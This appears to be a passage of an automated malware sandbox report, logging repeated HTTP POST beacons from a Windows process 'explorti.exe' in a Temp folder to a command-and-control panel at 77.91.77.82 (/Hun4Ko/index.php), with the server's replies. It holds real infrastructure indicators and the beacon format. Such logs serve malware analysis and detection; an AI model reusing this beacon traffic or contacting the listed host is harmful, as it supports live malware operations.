Jul 4, 2024 20:34:44.289830923 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:44.999041080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:44.999809027 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:45.219988108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49798	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:45.347774982 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:46.054681063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:46.055742025 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:46.285732985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49800	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:46.397739887 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:47.114270926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:47.116717100 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:47.342998981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49802	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:47.461596966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:48.184551001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:48.185574055 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:48.410346985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49805	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:48.523379087 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:49.229022026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:49.233563900 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:49.455260992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49806	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:49.573457956 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:50.272404909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:50.275505066 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:50.497555971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49807	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:50.621305943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:52.033756971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:52.033770084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:52.033799887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:52.047291994 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:52.271832943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49809	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:52.399858952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:53.097352028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:53.128261089 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:53.345602036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49810	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:53.487643957 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:54.205080032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:54.205949068 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:54.425394058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49811	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:54.538995028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:55.264642000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:55.265503883 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:55.490645885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49812	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:55.602526903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:56.306858063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:56.307655096 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:56.528004885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49813	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:56.649250031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:57.353332043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:57.358119011 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:57.579807043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49814	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:57.697463036 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:58.425868988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
